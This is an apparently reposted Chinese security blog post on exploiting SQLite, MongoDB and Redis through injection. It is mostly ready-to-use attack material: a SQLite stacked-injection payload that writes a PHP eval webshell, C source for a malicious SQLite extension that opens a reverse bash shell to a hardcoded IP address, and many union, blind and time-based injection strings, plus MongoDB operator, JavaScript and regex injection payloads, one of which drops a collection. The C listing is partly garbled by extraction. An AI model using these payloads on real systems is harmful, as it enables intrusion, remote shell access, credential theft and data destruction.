浅谈SQL database的各种技巧(八)

admin 2023年3月12日20:37:14浅谈SQL database的各种技巧(八)已关闭评论31 views字数 4104阅读13分40秒阅读模式

前言

作为这个系列的收尾,直接将三个数据库(Sqlite / MongoDB / Redis)的利用糅合在了一起

Sqlite

基础

特性
  1. 没有information_schema表,但是可以通过 sqlite_master表来获取数据库中的表名以及表结构

getshell

写入webshell

需要满足能够堆叠注入的情况

通过sqlte附加数据库的方法写入shell

ATTACH DATABASE '/var/www/html/shell.php' as shell;create table shell.exp (webshell text);insert into shell.exp (webshell) values ('\r\n<?php @eval($_POST[1]);?>\r\n');

加载恶意动态库

SQLite 从 3.3.6 版本开始提供了支持扩展的能力,通过sqlite_load_extension API(或者 load_extension 函数 ),开发者可以在不改动 SQLite 源码的情况下,通过动态加载的库(so/dll/dylib)来扩展 SQLite 的能力

贴一个反弹shell的 .c程序,制作成so扩展

```
/ Add your header comment here /

include / Do not use ! /

include

include

include

include

include

include

include

include

SQLITE_EXTENSION_INIT1

/ Insert your extension code here /
int tcp_port = 2333;
char *ip = "47.101.57.72";

ifdef _WIN32

__declspec(dllexport)

endif

int sqlite3_extension_init(
sqlite3 db,
char
pzErrMsg,
const sqlite3_api_routines
pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);

int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
        exit(0);
}

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);

}

return rc;
}
```

gcc编译

gcc -g -fPIC -shared exp.c -o exp.so

之后就可以通过 load_extension()函数进行加载,这里可以配合文件上传getshell

联合查询

  1. 前面的方法和Mysql一模一样
  2. 之后再查询表名和列名的时候通过 sqlite_master进行查询

?id=-1 union select 1,(select sql%20 from sqlite_master limit 0,1),3,4--+

浅谈SQL database的各种技巧(八)

可以获取到表结构,知道了表名和列名

当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合
3. 再然后就是查询数据了

?id=-1 union select 1,(select group_concat(name,password) from WSTMart_reg),3,4--+

布尔盲注

因为sqlite没有ascii,mid, left之类的函数,但是有着 length() substr()

我们就只能通过字符来判断

?id=1 and substr((select hex(group_concat(sql)) from sqlite_master),1,1)='4'--+

在这里我们采用了将表结构进行hex编码之后方便进行比较判断

时间盲注

虽然没有sleep函数,但是在sqlite中可以通过 randomblob(N)函数进行延时,

?id=1 and (case when(substr(sqlite_version(),1,1)='3') then randomblob(100000000000) else 0 end)--+

MongoDB

该数据库为非关系型数据库,在查询时是通过键值对的方式进行查询的

基础

语法

$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all
$or:or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/

重言式注入

示例:

<?php
echo "param is id :)";
if(!empty($_GET['id']))
{
$m = new MongoClient();
$id = $_GET['id'];
if ($id=="1")
{
echo "You Can't access Admin's Account";
}else
{
$db = $m->securitytest;
$collection = $db->users;
$qry = array("id"=> $_GET['id']);
$cursor = $collection->find($qry);
foreach($cursor as $document)
{
echo "<br>";
echo "Username:".$document["username"]."<br>";
echo "Password:".$document["password"]."<br>";
echo "<br>";
}
}
}

如果传入的id参数是1就会没有权限访问

```

重言式

?id[$ne]=2

闯入上面所示的payload,就会返回除了id=2的所有结果,同样不止可以使用$ne

username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
```

联合查询注入

这种注入方式主要是因为查询语句拼接了未过滤的传参

string query = "{ username: '" + $username + "', password: '" + $password + "' }"

如果正常登陆admin是

{'username':'admin', 'password':'123456'}

但是这里存在拼接,我们可以构造payload

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

sql语句就成了

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}

这样,只需要用户名正确,就可以登陆账户了

JavaScript注入

  1. 在 MongoDB 中,\$where 操作符可以用来执行 JavaScript 代码,将 JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分
    如果一段易受攻击的伪代码

$data = $_GET['data'];
db.users.find({ $where: "function(){return(this.username == $data)}" })

我们可以传入 ?data='a'; sleep(5),将会执行javaScript代码,进行延迟,判断注入点
2. 同样,如果你存在使用 distinct方法进行命令执行,就代表着你把MongoDB的shell交给了用户,不安全

$cmd = new MongoDB\Driver\Command( [
'eval' => "db.users.distinct('username',{'username':'$username'})"
] );

可以构造payload

username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

盲注

  1. 当页面没有回显的时候我们可以通过 \$regex正则表达式来构造永真条件进行盲注

## payload
username=admin&password[$regex]=.{4} // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败 长度为7
## 逐位提取数据
username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12

2. 又或者是通过\$where操作符在MongoDB 2.4 之前,通过 $where操作符可以访问到 Mongo Shell 中的全局函数和属性,如db

## payload
username='||db.version()[0]=='2'){return true;}else{return false;}if('&password=123456

当然,还可以通过时间进行盲注

Redis

至于对于Redis一些漏洞利用,参加我之前做的笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:37:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈SQL database的各种技巧(八)http://cn-sec.com/archives/1599491.html